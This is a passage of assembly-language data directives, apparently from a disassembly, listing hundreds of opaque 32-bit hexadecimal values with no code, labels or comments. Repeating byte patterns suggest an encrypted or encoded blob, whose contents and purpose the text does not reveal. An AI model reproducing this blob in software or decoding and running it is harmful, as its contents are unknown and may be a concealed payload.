		dd 3A520749h, 3192319Ah, 19CBF862h, 1BD8EBAAh, 486FA504h
		dd 0CBF818ABh, 958F2250h, 43069D4Eh, 0C3AF7990h, 6E029351h
		dd 0D7035D1Fh, 6F0A0180h, 0AB6D44B6h, 53127774h, 0F95D5F93h
		dd 849355D1h, 4BA46D92h, 9060FB21h, 1B18A1DBh, 8419D81Bh
		dd 0D9AB6689h, 3EDA94B2h, 0CF69EF65h, 0A9643B37h, 73288B86h
		dd 11BAD150h, 1BF20000h, 0D7F9D91Ah, 522B8E70h,	4874DF3Ah
		dd 0BB09AE7Fh, 881BD0DBh, 0F738F5CCh, 43222D04h, 86AA94FEh
		dd 0D0F3D9E3h, 0E898FB63h, 0B5A1A157h, 0CC8E3526h, 0BC6B9DA0h
		dd 81621F40h, 0DEDE2C5Bh, 0A8A3C7F1h, 918AE9EAh, 896782C4h
		dd 5210E4DEh, 0B30BCA3Ah, 0C815D399h, 1BBEA40Fh, 3A51BE27h
		dd 43601B78h, 666148F3h, 506A369h, 50180000h, 195F4373h
		dd 0F4823409h, 7B86AD62h, 0E44CA0C6h, 0A1C9A93Ah, 84A4A96Ah
		dd 0DFE386EBh, 30BA2DE7h, 1A3C20C3h, 0D2252E89h, 0F09EC5B6h
		dd 0CF69EFD3h, 191B8C37h, 0D8EB49DAh, 1DCCAA19h, 7198D67Dh
		dd 23DEB1h, 0FCED9E01h,	1F7066CDh, 5B014A4Dh, 90050188h
		dd 0F5CC9023h, 6BF6FB3Ch, 288B86B5h, 0E58ED0CBh, 0DF236843h
		dd 7E0779AAh, 5872F684h, 712A4DC9h, 158E8078h, 1B20FBF5h
		dd 0F849DA19h, 59191BCBh, 522B14EEh, 8ED54F3Ah,	8A19BA19h
		dd 51BD8EBh, 87EB4DD6h,	3A3778B8h, 1B01A259h, 14EE5919h
		dd 653A522Bh, 0BCFF3B06h, 0F5CC8C17h, 3FFFFC23h, 0D6051B32h
		dd 1BCBF84Dh, 6B114F05h, 0AFF5DE9Bh, 33C1E18Dh,	14AF371Eh
		dd 0C1D8EB7Fh, 1BCBF802h, 0EB49DA19h, 0A4051BD8h, 1B32C26Eh
		dd 632050D2h, 0EBD06300h, 0DA191BD8h, 0F9A0CC49h, 397F134Bh
		dd 45235B10h, 0FDC2BC2Bh, 7FD3A51h, 9BE21E0h, 19D2F1AAh
		dd 1BD8EBAAh, 0F84DD605h, 466DA77Ah, 10B3684Bh,	0DC437350h
		dd 5B5ED7Ah, 0C735C921h, 0CAB4233Dh, 1BB637EDh,	45BCBBB0h
		dd 321DAFECh, 1E1BCC57h, 978914DDh, 0BCD3A968h,	6738D09Ah
		dd 5E7E69EFh, 0A4EF3A25h, 0ADB6B5E6h, 191B8C37h, 11677A8h
		dd 17BC17DAh, 0D8EBE7BCh, 0C6965443h, 6E298D3Ah, 0D54FB7F6h
		dd 0EBA6D54Ah, 0DE961308h, 0E93847F1h, 0EFE5DE4Eh, 191BCF69h
		dd 0CBF849DAh, 3F43A6CCh, 903A522Bh, 0D8596823h, 0D8EB0C97h
		dd 0C5F37243h, 6FDAF82Eh, 45DE6393h, 9ADD55E4h,	0FF474239h
		dd 48C24902h, 0B3FD7BE1h, 0C43F2BE5h, 81F84E7Fh, 5F847E13h
		dd 1B6E49ACh, 8A17DA19h, 0F0A66B88h, 6F4923A5h,	7E69EF4Eh
		dd 332E6DB3h, 1B089B50h, 0CC4AD91Ah, 2B3F43A6h,	0BB7A3A52h
		dd 0A1167978h, 7C053932h, 6AA71A1Bh, 0EB19AA49h, 0DA191BD8h
		dd 1BD8EB49h, 8815DC1Fh, 0D8A86996h, 3BDD97B1h,	43A6CC62h
		dd 3A522B3Fh, 2D682390h, 0AE7140ABh, 1BE97A71h,	26F9D91Ah
		dd 0B4CFCCEFh, 1A1BCBF8h, 0D8EB4AD9h, 4F2E8543h, 3E9E5C4Bh
		dd 127794E0h, 0CDE059C3h, 0FE006789h, 4FADB3C9h, 8ED14DE4h
		dd 0F01FF8DDh, 7E69EFD3h, 2D3477B3h, 23C0FF20h,	1A1B5B68h
		dd 0A0CC4AD9h, 6FBAE04Eh, 48369D42h, 6A5129E0h,	1F4C1209h
		dd 49DA191Bh, 0FA3DF5CCh, 2B8D71D8h, 75DE3A52h,	1BBBC876h
		dd 0EB4CD704h, 551F1BD8h, 0E112D074h, 5F8080C3h, 0B3F42D04h
		dd 0A56ED5AEh, 0FA3DF5CCh, 0C059CF7h, 0FD6130EBh, 2B8A74E3h
		dd 70DB3A52h, 0F5CCE87Bh, 8900FB3Ch, 6DCCA122h,	0C15D52ABh
		dd 9C6F7224h, 76F97857h, 40D76456h, 8A81444Eh, 1F1B902Bh
		dd 0A6CC47DCh, 522B3F43h, 6823903Ah, 1F1B8D36h,	0F5CC47DCh
		dd 0F3CF7A3Ch, 443A522Ah, 2A858CE7h, 1B8F2071h,	0F84CD704h
		dd 0AA1F1BCBh, 0BC764B68h, 0D6F6DC77h, 68A36B01h, 9C98291Ah
		dd 0CC03A05Bh, 2B3F43A6h, 23903A52h, 6369B939h,	0DA915480h
		dd 1A1B17A4h, 0EC26F9D9h, 0EBAFD4C7h, 3A7DB887h, 0A6CC2241h
		dd 2B211DCCh, 19723A52h, 522BCEB0h, 84331F3Ah, 3A522BBAh
		dd 4843A00Bh, 90691061h, 4AE40DA1h, 78ED11F2h, 0F080B129h
		dd 0D3F0C952h, 1BCF69EFh, 4D6EA71Ah, 7AF81DA6h,	4B466DA7h
		dd 1B10B368h, 26F9D91Ah, 0B1D2C9EAh, 0F5CCD8EBh, 8801FA3Dh
		dd 5DFE4D9Bh, 0F536F2BDh, 18FE93ECh, 9FC128E3h,	2C59C702h
		dd 30672AB5h, 0F04CD739h, 0CF69EFD3h, 4AD91A1Bh, 6AA77AF8h
		dd 0B4674849h, 0D91A1B0Fh, 0B887EB4Ah, 85163679h, 5C0B9FCEh
		dd 1BF48F8Ch, 0FF35604h, 603A522Bh, 0CCC350F3h,	0F6FB3CF5h
		dd 93DE9Dh, 69EFD3F0h, 9F5647Eh, 5A3A522Bh, 1B69FAF1h
		dd 0D1F9D91Ah, 0EC095B7Bh, 32F0C1A9h, 0F86DF6F5h, 0D91A1BCBh
		dd 43D8EB4Ah, 0C4F60A1Fh, 6F148FC2h, 718407C5h,	721172E1h
		dd 0D16012A9h, 465D0E51h, 1BCF69EFh, 26F9D91Ah,	0E7C8C9EAh
		dd 7AF88F34h, 55466DA7h, 581A1B2Eh, 522B0DF1h, 4EF55E3Ah
		dd 6987EBC5h, 522B04FEh, 5F6553Ah, 0E4A3435Eh, 8B3E9A26h
		dd 0E93A61EDh, 0F0645601h, 59122A01h, 9244C023h, 0A9898053h
		dd 891E20C7h, 46F74DDh,	86F79AD8h, 918A8F41h, 0EFB112F2h
		dd 1A1BCF69h, 0CBF84AD9h, 0D8EBAA19h, 47D81B1Bh, 1BD8EB7Ch
		dd 0CFFBD704h, 0CE09E97Fh, 972CDFA2h, 7350CBF8h, 6B9DA0CCh
		dd 3B2146BCh, 6922D069h, 0FE2EB580h, 0BBC4AAC9h, 49D80C0Ah
		dd 9EAA7C8h, 0C6474A12h, 9F778663h, 0EFB11204h,	8C37CF69h
		dd 49437350h, 98781F07h, 35A25D36h, 1147A92Ch, 0F079C818h
		dd 15DC1F1Bh, 0A46D8A88h, 0ED61919h, 11A7C107h,	0CF69EFB0h
		dd 55D18C37h, 0A100000Ch, 679E130Eh, 1623D44h, 0D7EC9F00h
		dd 0EE5E3843h, 4F98A9F0h, 0FE63C935h, 421B8106h, 8D7CEEEh
		dd 0A13C0CADh, 1B4EEDEAh, 0EB46DD1Eh, 211DCCD8h, 723A522Bh
		dd 0CC3D8619h, 79D0A21Dh, 0F0D30389h, 279A235Fh, 2A07E7B0h
		dd 9ECEBE75h, 735A766Fh, 417EA071h, 0CB9CC0A2h,	35103D8Bh
		dd 0F8B5CECDh, 3CF5CCCBh, 0DE9DF6FBh, 1E1B2BF8h, 0CBF846DDh
		dd 49DA191Bh, 3143D8EBh, 392C6AB4h, 8F8CAF66h, 0A3400C1Ah
		dd 0EAB59560h, 9613082Bh, 9A5CE3D5h, 407FA06Fh,	1BAF4C4Bh
		dd 0F849DA19h, 0DF1587Ah, 5E3A522Bh, 0E9E45B6Eh, 0B0134602h
		dd 191BA8BBh, 0D8EB49DAh, 69EF9D26h, 38F5CCCFh,	0E299FAF7h
		dd 191B0F9Ch, 0F729F8DAh, 265C9C8h, 3A522B00h, 8A81E251h
		dd 22F5CCF9h, 0E09BF4FDh, 0F5CCFE91h, 0EB2AF738h, 3FD6D3C8h
		dd 0FCAEF1E0h, 18EAFC42h, 0F6A8C31h, 0CE6BF1Ch,	0D7CC615Dh
		dd 0C859B225h, 67702B4Ch, 0EFD3F0DCh, 0A6CCCF69h, 522B3F43h
		dd 6823903Ah, 0B69CDB59h, 0F0C2FEBh, 1BCBF874h,	0D4F8DA19h
		dd 6DEC1B18h, 76B37E4Ch, 98532C35h, 43D8EB0Bh, 0D3C51FFh
		dd 8AB62FE2h, 0E408E2CBh, 9E498A41h, 3452EA4h, 3AB696F5h
		dd 41C05178h, 0D87C6D1Eh, 4221C29Ch, 0DC1F1B39h, 6D8A8815h
		dd 231FCAA4h, 743A522Bh, 0B2145F17h, 0CCA5BEB8h, 0F6FB3CF5h
		dd 0EA0D049Dh, 86CFCC27h
		dd 191BF640h, 0CBF849DAh, 49DA191Bh, 7AB887EBh,	0CC253E3Dh
		dd 394DCFA0h, 0A9626A31h, 0C80C4840h, 0CF579756h, 0FFEB45FEh
		dd 6E54A5BAh, 0CDCAC121h, 51B82354h, 0F09EC73Ah, 43A6CCD3h
		dd 3A522B3Fh, 983F2390h, 3A522BA6h, 96DF9CF7h, 28EAB530h
		dd 1B73100Bh, 0D0775919h, 3A522AEEh, 9965D43Fh,	0EA3A522Bh
		dd 0F851E281h, 0DA191BCBh, 43D8EB49h, 234D05ACh, 0C948B535h
		dd 0A3BB2EB0h, 5A3A522Ah, 1BE75270h, 6CA97885h,	2770CFFh
		dd 0CF69EFC1h, 49DA191Bh, 10527AF8h, 7BC9C15h, 0A4C742CFh
		dd 7A0902DDh, 49DA191Bh, 0EE6387EBh, 1CA698AFh,	0C7E828F9h
		dd 0D843AFD4h, 97E0D2Dh, 1E4E4D26h, 98250EB3h, 602F34C4h
		dd 2F8685A2h, 0EFB11294h, 191BCF69h, 0E929F8DAh, 33E8CBC6h
		dd 0A77AF890h, 354E4D6Eh, 1561E1Bh, 0E91BA342h,	0EB44CF74h
		dd 0DA191BD8h, 0B887EB49h, 56393867h, 0B112FEA5h, 1BCF69EFh
		dd 0F846DD1Eh, 0DF1587Ah, 5E3A522Bh, 2DDC976Eh,	261444Ch
		dd 0C8683CDAh, 0D6956682h, 0DA191BCDh, 0C8F729F8h, 0CBF8B0D3h
		dd 47437350h, 23651FCDh, 0B2C8A837h, 0C0BB1C18h, 81D935C9h
		dd 952C063Bh, 2B9E5D82h, 3A5261A7h, 0A896C7F3h,	0DF73AC20h
		dd 0F0EEC92Ch, 1BA6CCD3h, 0B718D91Ah, 522B3012h, 8AA96B3Ah
		dd 0E8AD5ECDh, 8C37D46Eh, 0AB10A0CCh, 0FACFCFCh, 0AACD455Ch
		dd 6387EB19h, 0FD9F72E5h, 0C6DD8EF8h, 1DCCAA19h, 28626BE5h
		dd 151688C0h, 0AD870ACAh, 0DF3EABD4h, 93C84FEAh, 0C54EF5CEh
		dd 0F738F5CCh, 9CE299FAh, 8BA0CC0Fh, 45AA8569h,	0C2C128E3h
		dd 1BBD8549h, 0C4FCF55Eh, 0F7E6EA5Fh, 0AF9B1A52h, 0FC0522E0h
		dd 68FCB9A3h, 0A0880B0Ah, 1B1BD8EBh, 0CBF84BD8h, 46DD1E1Bh
		dd 1B1BD8EBh, 87EB4BD8h, 383966B8h, 0C6CBEC25h,	0EE9586EDh
		dd 69EFD3F0h, 76215E7Eh, 76BC55F3h, 1E1BDE85h, 0CBF846DDh
		dd 4BD81B1Bh, 80D2A0CCh, 0E019AB3Eh, 0DBF5732Bh, 51CB926Ch
		dd 154ACD3Ah, 21423992h, 0D8EBAA19h, 46DD1E1Bh,	266387EBh
		dd 0AEC0E0B4h, 198B18D3h, 9B1DCCAAh, 0AA081F9h,	0D762C980h
		dd 0A3462C06h, 0D0E1EF9Fh, 174D6D85h, 0C5828D11h, 0B7BAFD34h
		dd 58477DCh, 33D0A85Fh,	1B379429h, 0E6B09235h, 2FEB6DF1h
		dd 2DAA050Ch, 0CCB6CDBEh, 2B3F43A6h, 23903A52h,	1B8D3668h
		dd 0CC46DD1Eh, 0D45338A0h, 6B20410Fh, 8C378633h, 6DA71A1Bh
		dd 0B684B46h, 645E09E7h, 0B53A522Bh, 0EBFEA556h, 0CCAA19D8h
		dd 0DA642C1Dh, 1CE8795Eh, 0E739446h, 0F44964BEh, 0E80B0B96h
		dd 0C2D5C629h, 0F855DE4Dh, 437350CBh, 0D498E2A2h, 7141813Fh
		dd 66F356FBh, 94EF91Fh,	0AF82F07Ah, 3C06B169h, 8D3A522Bh
		dd 0E3BCC51Eh, 69EF9B28h, 1B8C37CFh, 0CC4AD91Ah, 2B3F43A6h
		dd 0A2903A52h, 522B4B37h, 942F9C3Ah, 2CDF00FDh,	9AE10965h
		dd 494B74AEh, 191CA764h, 0D1FE7159h, 11267088h,	0AE11D00Fh
		dd 0CC4D5615h, 603CA1Dh, 8D09DB1Dh, 0F8DB78AAh,	74EA787Fh
		dd 29FA59DEh, 0FB3CF5CCh, 43353E00h, 4AA90D3Bh,	0C2E651A6h
		dd 25FCD65Bh, 0DACFCCF3h, 19C52B5Bh, 1A1BE28Bh,	454C6FA7h
		dd 0F83A096Ah, 0D7041BCBh, 43D8EB4Ch, 0CCD591C9h, 740E3F18h
		dd 0EB26F9EBh, 35E6C9C8h, 0AFD16467h, 49D269C8h, 4CD7041Bh
		dd 41BCBF8h, 0D8EB4CD7h, 1E3FFF43h, 0CA94E2CBh,	0E842C5CAh
		dd 0B167C659h, 0C728E98Ah, 8F54D5D4h, 1EDF61Bh,	847EF32Eh
		dd 0A241A25Fh, 322519C0h, 1D762467h, 0A91A455Eh, 3F43A6CCh
		dd 903A522Bh, 0AB2D6823h, 0D7041B91h, 1BCBF84Ch, 24FBD704h
		dd 0EAC5CCF3h, 87EB9231h, 0BEAF79B8h, 0C70B4833h, 9FC4B71Ch
		dd 0F639F5CCh, 0E6E398FBh, 715F1313h, 64877E11h, 0CD6B42A7h
		dd 312B6BE1h, 8B80A35Eh, 796A841Eh, 1B8615D5h, 8815DC1Fh
		dd 0B9E6388Dh, 757CD7B8h, 442EA8E7h, 69EF3942h,	6EA0CCCFh
		dd 0CA0D9A7Ch, 45FD3F7h, 4A9FD9D8h, 0B0EF3051h,	19CBF8E3h
		dd 2D1DCCAAh, 78C039CDh, 0D49D3554h, 5BBD54CEh,	0B2826724h
		dd 64F9ECD3h, 5FC47D6Fh, 0D12A652h, 0BBB6F934h,	0EBA87BD8h
		dd 22F5CCD8h, 0E09BF4FDh, 92215EC1h, 0D3F0D8EBh, 0FB3CF5CCh
		dd 97DE9DF6h, 0AA190731h, 3F43A6CCh, 903A522Bh,	5F0A6823h
		dd 6DE20F5h, 68A79DBDh,	0E27CA95Dh, 3F5C029h, 9C73D10Ch
		dd 4B4C3F60h, 525CB1D6h, 847C133Ah, 0AFB2F531h,	11726FD4h
		dd 3EAD225Ah, 0D11DCC75h, 5D8911C0h, 511053D2h,	1B0C7D6Eh
		dd 9AF994D2h, 522AF427h, 7E3D83Ah, 0CE855E60h, 9F44AF80h
		dd 0EF30ECC3h, 0C9DA91F2h, 0A6CCCBF8h, 522B3F43h, 8E23903Ah
		dd 8995289h, 0F85BE817h, 0CCAA19CBh, 0C6C3591Dh, 0B9834CF1h
		dd 4FB2D237h, 3A522BBCh, 53E04B40h, 1A1BD8EBh, 0EC26F9D9h
		dd 0EBAFD4C7h, 0D6051BD8h, 0E490861Bh, 7C130471h, 0B3AE1562h
		dd 3C45669Eh, 88CEC563h, 0EF794ADEh, 9DC6CF69h,	7EDBA705h
		dd 0CC6853ECh, 0F74DB41Dh, 57ACF107h, 4ABFAEBEh, 3A522AB2h
		dd 944626ADh, 0E76AB0AAh, 0CC5DE68Dh, 0BFE2651Dh, 3FF6C9D2h
		dd 0E19AF5FCh, 0D1D040E8h, 0BD9F02F0h, 0F89C7770h, 0F84BD833h
		dd 0D7041BCBh, 3CF5CC4Ch, 0B46BF6FBh, 0CA298A87h, 43EF80D1h
		dd 49B3E998h, 45928E49h, 0BF2A488Dh, 0C89B48C3h, 1995B714h
		dd 8FB1EBF8h, 63C6D1CAh, 0E435B69Ah, 41B313Ah, 0CBF84CD7h
		dd 1DCCAA19h, 39624A44h, 0EE7D3D61h, 5FD66964h,	0F1585F1Ch
		dd 3A522B0Ch, 0A0774A24h, 9CF7807Bh, 512D9CB6h,	37E8D90Bh
		dd 44063E5Ch, 63D087D4h, 0D8EB1BA8h, 0C538F5CCh, 8669284Fh
		dd 0C1BB2EEDh, 30D724F7h, 1A3A07B8h, 0D1DAEE53h, 49F79ABh
		dd 69EFB112h, 211DCCCFh, 723A522Bh, 0CC3D8619h,	43817A1Dh
		dd 6D3B2BD6h, 8F89090Fh, 0C8943EABh, 878E6ACh, 0BA311BCCh
		dd 0A920DB85h, 64F4EF4Eh, 1CA704CBh, 0D9C11DCCh, 9BE4E0CDh
		dd 0AFD2F5A0h, 13E1692Ch, 8B4327BCh, 0AC9DBDDFh, 1EE304FCh
		dd 2F6D1EC5h, 0CC62319Ah, 0F4FD22F5h, 159EE09Bh, 0FC23F5CCh
		dd 522B714Dh, 0AAE2C23Ah, 0AA925A3Fh, 0E6D56A09h, 0A4B21DCCh
		dd 98F3111Bh, 9CC207AEh, 542F4139h, 16A5F7Dh, 1BD8EB32h
		dd 0EB4CD704h, 0EFB112D8h, 0F5647E69h, 3A522B09h, 69FAF15Ah
		dd 47D81B1Bh, 581DCC7Ch, 4D1D818Ah, 9D637403h, 2A6A9FCBh
		dd 8F433FAAh, 379410E1h, 645E4715h, 0FE9B4EA7h,	0A16B718Dh
		dd 0CCE6BD16h, 342D581Dh, 9AA94DC9h, 35A81625h,	5C634542h
		dd 0E6BD16A1h, 0FD22F5CCh, 11069BF4h, 446D31EAh, 0A6CCAA19h
		dd 522B3F43h, 0C2BC2B3Ah, 133A522Bh, 0D794FFB8h, 29B3CC7Bh
		dd 19945467h, 0AA69D76Fh, 31A6F537h, 69C2B72Ah,	43A6CCDAh
		dd 3A522B3Fh, 29682390h, 0C2BC2B45h, 133A522Bh,	43A0C3B8h
		dd 93B1350Eh, 0EFD3765Ch, 40E0F320h, 211BE752h,	0FF6CE0F3h
		dd 0FB42A764h, 9B147E60h, 4959038h, 0F0D06BCAh,	22F5CCD3h
		dd 0E09BF4FDh, 19093395h, 0FC1DCCAAh, 0A98DF0E8h, 20D442DEh
		dd 7CB988E2h, 9E5D363Bh, 10811D2Bh, 0F4637DC6h,	9314AF0Ah
		dd 41FBF05Bh, 0CC54DF4Ch, 0FB636B1Dh, 0C0BA3A70h, 4B27060Dh
		dd 79F0B874h, 0D8A31360h, 49AA670Ch, 0E3275752h, 0D0C53A51h
		dd 0CBF8D063h, 0FBD7041Bh, 2B9072D5h, 72E13A52h, 0CBF8EA79h
		dd 4AD91A1Bh, 5919CBF8h, 5FFCC571h, 8477C816h, 1BD8EBDFh
		dd 0D1F9D91Ah, 975FA9C5h, 0EED077E1h, 3F3A5211h, 0E77C6FD4h
		dd 0FA3DF5CCh, 87B46AF7h, 0D1CA298Ah, 0A43E48Dh, 0D7AC2279h
		dd 3AB6FCD6h, 0F647FA6Fh
		dd 95B55A31h, 0BA7BA400h, 35177879h, 34E7BCC6h,	0F5CC3F68h
		dd 2D4AC83Dh, 33E88B64h, 0E31E938Eh, 703F23C0h,	156E73B4h
		dd 0D8EB4D56h, 1DCCAA19h, 3D0510C7h, 0DD414CDEh, 0DBFFEB6Ah
		dd 87A2CDF8h, 9A0F0C40h, 35F09166h, 93208B00h, 7350CBF8h
		dd 0FD0FED43h, 0F6FDF4DBh, 0AA2DB0F8h, 0F6FC621Dh, 1B1B57E4h
		dd 898419D8h, 860DAB66h, 2702640h, 0B7B4F72Fh, 0CF69EFACh
		dd 73508C37h, 5B551F1Bh, 941D298Bh, 734C15AEh, 1DCC0F9Ch
		dd 0C577BAD4h, 434EC7D1h, 0B5A62907h, 728A24C3h, 2956C958h
		dd 3D066572h, 1B1BCBF8h, 0D8EB4BD8h, 0CD8BA0CCh, 6E295D85h
		dd 8A90C7Dh, 3E1E243Dh,	5BAA3484h, 520CB5E6h, 0E6516F3Ah
		dd 0B2E12F1Ch, 0E51CC6Dh, 156087B5h, 0A13E0AAAh, 1B300BEAh
		dd 4B70A61Bh, 0A6CC1BA8h, 522B3F43h, 6823903Ah,	0AA198D36h
		dd 45401DCCh, 23EEE8D1h, 508F90E1h, 0D6952E91h,	0F6A753F3h
		dd 0DFFEE1BEh, 98D40AFDh, 0FF3CE3AEh, 75B66F02h, 0BBB0136Ch
		dd 0EBC44FBCh, 43A6CCD8h, 3A522B3Fh, 59682390h,	0EB0D96D9h
		dd 0EFB112D8h, 7BC6CF69h, 11BF896Fh, 3C4566A2h,	842F0063h
		dd 58C51DCCh, 7FE09CC5h, 0AC28E981h, 4E214A39h,	82952CBAh
		dd 403B945Dh, 0C2517955h, 0A2B14C31h, 0C580E20Ah, 9E750D0Ch
		dd 0B281EAEDh, 63EE1DCCh, 1BB72C2Eh, 91B6A36Dh,	99B9B70Eh
		dd 14C39D56h, 5DF7362Ah, 23DE7Bh, 1556CE63h, 7DD66156h
		dd 43A6CCA6h, 3A522B3Fh, 36682390h, 0D81B1B8Dh,	587AF84Bh
		dd 522B0DF1h, 41C35E3Ah, 0DF845F22h, 1E1B972Ch,	2B11ED5Ch
		dd 0CB4C3A52h, 90371394h, 3A522BAEh, 942F94FFh,	1BCBF8FFh
		dd 0EB46DD1Eh, 0E87343D8h, 5B6EFC86h, 3CDF495Dh, 0D22BC289h
		dd 2CA8946Bh, 51A6385Fh, 0A6354239h, 0F5CCB112h, 3401FA3Dh
		dd 1E1B2812h, 0DDD5F5DDh, 5D0FA791h, 0F8D8EBA0h, 0DC1F1BCBh
		dd 77AAD6F6h, 0D44DBF7Ah, 87EB8C17h, 0DEE08769h, 2F3A522Ah
		dd 2A2915C4h, 117A3A52h, 4C43495Ah, 95F6B0D5h, 0EB63F0E4h
		dd 2BC04ABFh, 3D463A52h, 0FC23F5CCh, 85A662FFh,	1BCBF8AEh
		dd 0EB46DD1Eh, 0DC1F1BD8h, 12D8EB47h, 0CF69EFB1h, 6A54A0CCh
		dd 0D35BC0B0h, 6B8C8918h, 1BCBF8D8h, 0F847DC1Fh, 0EBAA19CBh
		dd 0DD1E1BD8h, 0CCEF2AF5h, 3A7DB8C5h, 4F75C37h,	19D8EB5Fh
		dd 6BDC7159h, 9B2A886Ah, 1DCCC3E0h, 0C91E0D49h,	0A1F07B5Ch
		dd 0AF6A35EFh, 3A99DA5Ah, 0A998FB41h, 0B9B21ADDh, 0F8DC67C4h
		dd 43A6CCCBh, 3A522B3Fh, 59682390h, 0CC089BDCh,	3F83FF5h
		dd 0D703DD3Bh, 7D1C4872h, 0D7AB0E39h, 283A51DDh, 0CCB3D0CBh
		dd 0F5FC23F5h, 53DCE19Ah, 46DD1E1Bh, 0A6CCD8EBh, 480CBCC6h
		dd 2D9CF78Bh, 3A51BD51h, 0B56BC2A2h, 0ABA7FA99h, 41565348h
		dd 0FA795D6Bh, 5611A256h, 4ECB56D0h, 908B642Dh,	0CE79719h
		dd 0CC7704C4h, 0E0743CF5h, 0EB9845Eh, 2B4B71D2h, 0AFF3FDBFh
		dd 0D34E7328h, 0CBF80390h, 4AD91A1Bh, 7DB887EBh, 0F42A373Ah
		dd 8AE9CAC7h, 3B367DB7h, 4300A358h, 42BE9526h, 776A7EBBh
		dd 0ED25FCA2h, 55ECC7CAh, 0D4E398DFh, 3E67166Dh, 714F7B1Fh
		dd 69CBFCC6h, 2DDE4D63h, 0D91A1B96h, 1BCBF84Ah,	0EB4AD91Ah
		dd 0CC02C1D8h, 0F6FB3CF5h, 0EA0D049Dh, 8FCFCC27h, 43A6CCE2h
		dd 3A522B3Fh, 59682390h, 0E4BB97D8h, 0AD060B2Ch, 0D8EBD5EEh
		dd 0A50FB043h, 290A310Fh, 68E1CCEFh, 29053AF0h,	1F1B10ABh
		dd 6E3315DCh, 4B83F828h, 0E51AFD94h, 5295911Ch,	651C348Fh
		dd 0BDAF89E3h, 167139Dh, 39326821h, 0CF69EF2Ah,	4AD91A1Bh
		dd 1A1BCBF8h, 87EB4AD9h, 6047A663h, 4C400E44h, 8C5D7FC7h
		dd 790A0136h, 1131D543h, 0C060C3Dh, 3AAF6DA3h, 3A522AB7h
		dd 863D6F48h, 0CCCF69EFh, 1FA3DF5h, 0B57EA160h,	733DF5CCh
		dd 0BA6A05E0h, 7972D1E9h, 1A1BBCC5h, 474A71A7h,	0F55A806Ch
		dd 0F8E1D3F6h, 0D8EBC85Bh, 0DDB5B543h, 767C2C89h, 32976364h
		dd 8DBD7FFAh, 41B6CF7h,	8D871AD7h, 860DAB66h, 299A2640h
		dd 1BCF69EFh, 0F84AD91Ah, 0D91A1BCBh, 0CCD8EB4Ah, 3E8CD2A0h
		dd 0CCBF670Ch, 8AC6BBDDh, 0F33C6AA2h, 870A314Ah, 0AD66AD27h
		dd 0B11203A0h, 0CCCF69EFh, 4BC93CF5h, 0E9CAC72Ch, 55968F32h
		dd 527AF8BEh, 0C0B4E8D8h, 9330EBF4h, 6DA71A1Bh,	0EB16AD46h
		dd 0F90F43D8h, 0B8D2134Dh, 97D99045h, 4F2A4232h, 0F0F2CD3Ch
		dd 0CF69EFD3h, 367CA0CCh, 80CC2F88h, 0CA3FF68Bh, 8669284Bh
		dd 0FB3A05EDh, 0F8A0C3B8h, 0DD1E1BCBh, 926CDBF5h, 0E33A522Bh
		dd 0EBF09388h, 0A71A1BD8h, 6649486Bh, 0E50BE50Dh, 522B8082h
		dd 0F762D13Ah, 3A522B0Bh, 67FCEF5Ch, 7038F5CCh,	82A38809h
		dd 0A9680B4Eh, 73FC5546h, 69EFB112h, 2E6DB37Eh,	0C7725033h
		dd 3A522AFBh, 972CDF4Ch, 46DD1E1Bh, 1A1BCBF8h, 0CBF84AD9h
		dd 74AB1E1Bh, 0EB17AC47h, 0DEAF43D8h, 0CA327D8Bh, 0C223B0CDh
		dd 4D5ABF9Ah, 29E2B3C9h, 3EFC7073h, 0D27114CFh,	69EFD3F0h
		dd 0DD1E1BCFh, 1BCBF846h, 0EB46DD1Eh, 0D81B1BD8h, 12D8EB4Bh
		dd 39F5CCB1h, 2AF0D275h, 0D2413A52h, 9DBB7A71h,	2447BF52h
		dd 0FA89825Dh, 0F5DD1E1Bh, 0CBC6F52Ah, 0F89033E8h, 0DD1E1BCBh
		dd 43D8EB46h, 0DE2261E9h, 0C4D304F8h, 7FBB1EE8h, 0FB53A2C1h
		dd 6A9072D5h, 72E134DBh, 6A15E950h, 0D6634DBh, 12FA890Eh
		dd 0CF69EFB1h, 0BC3DA0CCh, 0C82777C7h, 3073AED3h, 1BCBF863h
		dd 0EB4BD81Bh, 7FCF43D8h, 0B59B43EDh, 0AC025A95h, 0D079A966h
		dd 30B66AEEh, 0B217D43Fh, 0AB7D31CBh, 0F229EEC1h, 5FD94EFh
		dd 19CC29E2h, 0E60E8AB9h, 3576B27Dh, 1BC45F36h,	0F84BD81Bh
		dd 0DD1E1BCBh, 0B887EB46h, 1F443778h, 6CA61B1Bh, 0ACC6AC47h
		dd 72D71815h, 3A522B90h, 0EA7972E1h, 82F0D8EBh,	10C9845Ah
		dd 0FBAA98h, 7E69EF63h,	2F3271B3h, 1B0C9754h, 0F846DD1Eh
		dd 0D81B1BCBh, 0CDA0CC4Bh, 92FD3743h, 18A1DD8Eh, 4DD6051Bh
		dd 1A1BD8EBh, 0F5CC4AD9h, 2E03F83Fh, 0D6051B25h, 0C8EF25FCh
		dd 3A7DB4C9h, 4F75C37h,	1BCBF85Fh, 0CC4DD605h, 5DA0BA0h
		dd 46458708h, 143F780Bh, 0CBF8EAB9h, 3F43A6CCh,	903A522Bh
		dd 4FF433F1h, 0EC13059Ch, 1BCBF857h, 0CC46DD1Eh, 0F9F83FF5h
		dd 1099E596h, 0DFB4113Fh, 3019A0CCh, 0DA9DE3F3h, 7D561B58h
		dd 8A2D25D6h, 44A6F58Fh, 0B305EDCDh, 0DA98B98Fh, 1393A821h
		dd 3A0559C3h, 0B8BFBCFFh, 1C31251h, 1380373Ah, 7EA1602Fh
		dd 0D8EBF68Dh, 0E724543h, 744B2566h, 0EFD376B9h, 400E95E3h
		dd 29B118D3h, 8784B496h, 0D9D1A004h, 19CC0E2h, 5845131Bh
		dd 9922B566h, 4CD7041Bh, 5919D8EBh, 3EA951C6h, 3A522B44h
		dd 0D49D3695h, 0CC6300FBh, 0DC1F1BA6h, 34E3AA1Fh, 91300494h
		dd 5C9F7616h, 230C3E5h,	0DC37C047h, 5DA0CC47h, 992A77Bh
		dd 8D366823h, 4DD6051Bh, 191BD8EBh, 0D8EB49DAh,	3F43A6CCh
		dd 903A522Bh, 0EFF235F1h, 4D3C2F94h, 12A0C2CDh,	29F32E01h
		dd 5151A2C3h, 0A0162B5h, 5778819Fh, 26DEB1C8h, 6AFD705h
		dd 9F99459h, 343EA312h,	406204CDh, 7C6FB071h, 191B60FBh
		dd 2B14EE59h, 6653A52h,	0F5CCD66Dh, 3FFFFC23h, 0DA191B32h
